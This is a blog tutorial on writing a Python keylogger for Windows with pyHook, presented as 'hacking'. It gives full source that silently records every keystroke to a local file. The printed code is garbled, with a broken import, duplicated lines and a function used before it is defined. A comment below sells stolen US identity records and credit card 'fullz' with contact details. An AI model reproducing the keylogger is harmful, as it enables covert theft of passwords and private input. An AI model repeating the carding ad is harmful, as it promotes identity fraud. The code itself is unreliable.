Create Simple Python Keylogger - Step by Step Tutorial ( With full code and explanation)
If you're visiting this page, you are probably looking for some info regarding the keylogger making . Here I will show you how to start with your keylogger making and hacking.
For those who reached this page by accident here is a simple wikipedia explanation about keylogging.
Keystroke logging, often referred to as keylogging or keyboard capturing, is the action of recording (logging) the keys struck on a keyboard, typically covertly, so that the person using the keyboard is unaware that their actions are being monitored. Keylogging can also be used to study human–computer interaction. Numerous keylogging methods exist: they range from hardware and software-based approaches to acoustic analysis.
Lets start. The code I am going to explain is something that I found from the internet.
Things Required For Making the Keylogger
1) Python
Here we are going to use python as the programming language for our keylogger making.Why python?
Python tries to give you only one or a few ways to do things, and those ways are designed to be simple, even at the cost of some language power or running efficiency.
In many cases, Python's philosophy is an advantage because it lets you get most tasks done more easily and more quickly with less mental overhead.
How to install python ?
To install python click the Downloads > Windows link from the home page of the Python.org web site . The Windows version is provided as an MSI package. To install it manually, just double-click the file.
2) Python Modules
We use python modules pywin32 and pyHook in our keylogger.What is a module?
Simply, a module is a file consisting of Python code. A module can define functions, classes and variables.
How to install these modules ?
To install these modules type in your command prompt or terminal.
pip install pywin32
This will let you install pywin32 module.Also install the pyhook module by typing below code.
pip install pyhook
What are the uses of these modules?
Pywin32 -
A set of extension modules that provides access to many of the Windows API functions
Pyhook-
The pyHook library wraps the low-level mouse and keyboard hooks in the Windows Hooking API for use in Python applications.Simply It helps to trigger some action when the user clicks the mouse or press some keys in the keyboard.
3) Text Editor
We need a text editor for editing our code . You can simply use notepad available in your windows system..
Now Open your text editor and then make a file named as you like. The extension of the file should be .py. That is your file name should be like myfile.py
Now paste the below codes ( Only code and not the explanation )
Code
First we should import the modules to be used in our code for that we use the following two lines of python code
import logging, sys,
import pythoncom , pyHook
import pythoncom , pyHook
file_log = 'C:\\imp\\log.txt'
Above line of code will mention to what file we are going to log the keystrokes
Now we have to create a function that moniter our keyboard Events
def OnKeyboardEvent(event):
logging.basicConfig(filename=file_log, level=logging.DEBUG, format ='%(message)')
logging.log(10, chr(event.Ascii))
return True
Now we use pyhook to trigger our function when the user press a key on the keyboard
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()
Full code of python keylogger
The full code in your python file will be
import logging, sys,
import pythoncom , pyHook
import pythoncom , pyHook
file_log = 'C:\\imp\\log.txt'
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()
def OnKeyboardEvent(event):
logging.basicConfig(filename=file_log, level=logging.DEBUG, format ='%(message)')
logging.log(10, chr(event.Ascii))
return True hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()
Running the python keyogger
To run a python file just open your command prompt or terminal and type python followed by your filename and press enter.
Suppose if your file name is mykeyloggercode.py then type python mykeyloggercode.py and press enter
How to see the logged keys of keylogger?
To see the result of your keylogger that is the logged keys you just need to open the file 'C:\\imp\\log.txt'
Recommended Posts
tags :
keylogger in python source code python keylogger github python keylogger
script python keylogger windows python keylogger linux python keylogger
tutorial python keylogger mac python keylogger email
Thanks
ReplyDeleteHey Guys !
ReplyDeleteUSA Fresh & Verified SSN Leads AVAILABLE with best connectivity
All Leads have genuine & valid information
**HEADERS IN LEADS**
First Name | Last Name | SSN | Dob | DL Number |Address | State | City | Zip | Phone Number | Account Number | Bank Name
*Price for SSN lead $2
*You can ask for sample before any deal
*If anyone buy in bulk, we can negotiate
*Sampling is just for serious buyers
==>ACTIVE & FRESH CC FULLZ ALSO AVAILABLE<==
->$5 PER EACH
->Hope for the long term deal
->Interested buyers will be welcome
**Contact 24/7**
Whatsapp > +923172721122
Email > leads.sellers1212@gmail.com
Telegram > @leadsupplier
ICQ > 752822040